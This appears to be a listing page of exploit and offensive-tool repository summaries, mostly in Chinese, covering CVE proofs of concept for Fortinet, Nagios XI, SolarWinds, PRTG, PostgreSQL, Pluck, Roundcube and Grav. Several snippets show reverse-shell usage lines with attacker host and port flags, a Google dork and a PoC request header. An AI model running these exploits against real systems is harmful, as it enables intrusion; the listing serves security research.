git-remote-gcrypt

git-remote-gcrypt GNU Privacy Guardで暗号化されたgitリモート :Manual section: 1 説明 git-remote-gcryptは、GnuPGで暗号化されたリポジトリをカスタム形式でプッシュおよびプルするためのgitリモートヘルパーです。このリモートヘルパーは、gcrypt:: で始まるURIを処理します。 サポートされているバックエンドは local、rsync://、sftp:// で、リポジトリはファイルセットとして保存されます。または、任意の...

CVE-2021-24006

CVE-2021-24006 – FortiManager 不当访问控制利用（PoC） PoC（概念验证）- 仅用于教育目的 在 FortiManager 中滥用对 SD-WAN Orchestrator 的访问的利用程序，利用了访问控制缺陷（CWE-284）。 描述 漏洞 CVE-2021-24006 影响 FortiManager（版本 6.4.0 至 6.4.3），允许具有受限配置文件的已认证用户 直接访问 SD-WAN Orchestrator 面板的 URL，即使没有通过接口获得明确权限。 直接访问有漏洞的 URL：...

adidnsdump

Active Directory Integrated DNS dump tool By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer. This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks. For mo...

CVE-2023-31705

CVE-2023-31705 descripción Una vulnerabilidad de Cross-site scripting XSS reflejado en Sourcecodester Task Reminder System 1.0 permite a un usuario autenticado inyectar JavaScript malicioso en el parámetro page. Tipo de vulnerabilidad Cross Site Scripting XSS Proveedor del producto Sourcecodster...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs 向 Nagios XI 报告的漏洞 CVE-2021-25296 代码位置 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 代码片段 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2021-44103

CVE-2021-44103 Una prueba de concepto para KONGA 0.14.9 - Escalada de privilegios. Intro El 16 de noviembre de 2021, Fabrício Salomão y yo encontramos una vulnerabilidad en las puertas de enlace de la API de Konga, que permitía a cualquier usuario autenticado convertirse en administrador. Informe...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 认证操作系统命令注入 Hit Counter FortiWeb 管理界面中的命令注入漏洞可能允许已认证的远程攻击者通过 SAML 服务器配置页面在系统中执行任意命令。以最高权限执行命令将导致攻击者完全控制服务器。这是 CWE-78：OS 命令中特殊元素的不当中和 的一个实例，其 CVSSv3 基础评分为 8.7。该漏洞的编号为 CVE-2021-22123，已在 Fortiguard Lab 页面 FG-IR-20-120 中得到解决。 基本上，SAML 代表安全断言标记语言（Security Assertion Mark...

CVE-2024-24401

漏洞报告 CVE 发现 （设计用于在 Kali Linux 上运行） 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞，请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情： 端点：/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型：已验证的 SQL 注入 利用结果：创建管理员账户并实现完全远程代码执行 概念验证： 附带了演示该漏洞的 Python 脚本 建议： 为降低 SQL...

CVE-2020-29607

CVE-2020-29607-漏洞利用 漏洞利用标题：Pluck CMS 4.7.13 - 文件上传远程代码执行（需认证） CVE 描述： Pluck CMS 4.7.13 之前版本中的文件上传限制绕过漏洞允许具有管理员权限的用户通过“管理文件”功能获得对主机的访问权限，这可能导致远程代码执行。 https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB： https://www.exploit-db.com/exploits/49909 漏洞利用描述： 已认证的攻击者可以使用...

CVE-2021-35215

CVE-2021-35215 SolarWinds Orion Platform ActionPluginBaseView 反序列化RCE，需要登录。 PoC POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type:...

CVE-2026-3854-lab

Flagship 实验室 001：从 Git 推送选项到 RCE 一个本地学习实验室和研究实验室，灵感来自 CVE-2026-3854 背后公开记录的漏洞概念。这两种体验都会对 ForgeDock（一个虚构的 Git 服务器）执行真实的经过身份验证的 Git 推送；即研究实验室。 !CAUTION 本项目故意包含漏洞。仅限本地运行。请勿将其端口暴露到公共或共享网络。切勿在生产环境中使用。 !NOTE 本仓库以只读教育参考资料的形式发布。不接受公开的 issue、拉取请求、功能请求或支持请求。请按照SECURITY.md 中的说明私下报告意外的安全边界缺陷。 选择体验 学习实验室...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1. 执行漏洞利用需要凭据。尝试默认凭据...

CVE-2019-9193

CVE-2019–9193 - PostgreSQL 9.3-12.3 认证远程代码执行 概念验证 PostgreSQL 数据库从 9.3 到 12.3 版本（最新已测试版本）存在已认证远程代码执行漏洞。 尽管开发团队本身并不认为这是一个漏洞，但它仍可被利用来访问配置不当的系统。 帮助菜单 利用示例 参考资料 NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-9193 CVE Details: https://www.cvedetails.com/cve/CVE-2019-9193/ PostgreSQL:...

CVE-2025-4796

CVE-2025-4796 eventin 并将演讲者邮箱更新为其控制的邮箱。随后攻击者可利用 WordPress 密码重置功能接管管理员账户。 要求 Python 3.8 或更高版本 requests 库 安装 requests： pip install requests 使用方法 运行脚本并根据提示输入所需值： python3 CVE-2025-4796.py 输出示例 + 关闭 SSL 验证警告 + 登录 WordPress + 登录成功 + 获取 nonce 令牌 + 获取到 nonce 令牌：abcdef1234567890 + 发送更新演讲者邮箱的请求 + 更新操作成功...

CVE-2025-40677

漏洞标题：Summar Employee Portal 3.98.0 之前版本存在认证 SQL 注入漏洞 - CVE-2025-40677 Google Dork：inurl:"/MemberPages/quienesquien.aspx" 日期：2025年09月22日 漏洞作者：Peter Gabaldon - https://pgj11.com/ 供应商主页：https://www.summar.es/ 软件链接：https://www.summar.es/software-recursos-humanos/ 版本： 3.98.0 测试环境：Kali CVE：CVE-2025-406...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 在 Pluck-CMS v4.7.18 的组件 /inc/modulesinstall.php 中存在任意文件上传漏洞，攻击者可通过上传精心构造的 ZIP 文件来执行任意代码。此漏洞需经过认证。 免责声明：本代码仅供教育用途。 使用说明： usage: CVE-2023-50564.py -h -H TARGETHOST -u USER -p PASSWORD -lhost LHOST -lport LPORT 1. 将仓库克隆到你的工作目录 2. 进入新目录并运行脚本查看使用说明 3. 对目标运行脚本 致谢 感谢...

CVE-2023-46818

CVE-2023-46818 - ISPConfig PHP 代码执行 | 漏洞利用 ISPConfig 高危远程代码执行漏洞 PoC 实现。 摘要 ISPConfig 版本 /admin/languageedit.php — ISPConfig 漏洞端点 🚀 运行漏洞利用 运行漏洞利用脚本 CVE-2024-47533.py。 python3 CVE-2023-46818.py -u -U -P 💻 成功获取远程 Shell 访问 成功执行后，反向 shell 将回连到攻击者的机器，使攻击者获得对服务器的远程访问权限。...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail 远程代码执行漏洞 技术概述 CVE-2025-49113 是 Roundcube Webmail 中的一个严重的不安全反序列化漏洞，可导致经过身份验证的远程代码执行。该漏洞源于文件上传操作期间对序列化 PHP 对象处理不当。 漏洞分析 根本原因 ：文件上传功能中对用户可控数据进行不安全的反序列化 攻击向量 ：包含恶意序列化 PHP 对象的特制文件上传请求 技术细节 ： 位于 program/steps/mail/attach.inc 中 处理 file 参数元数据时未进行适当的验证 结合了两种注入技术： 1. 通过...

CVE-2026-78851

Grav 认证路径遍历 / 通过 Twig mediadirectory 实现任意目录泄露 报告者 姓名： CYBER-SEC 联系方式： [email protected] 摘要 Grav 的 Twig 函数 mediadirectory 在页面内容 Twig 沙箱白名单中暴露，但未对非流输入正确执行路径包含限制。 具有页面编辑权限的认证用户可以调用 mediadirectory'/绝对/路径'，或在启用 Twig 的页面内容中使用 mediadirectory'../../../../path' 等相对遍历方式。Grav 随后会索引 Web...

chisel

Chisel Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go golang. Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Table of...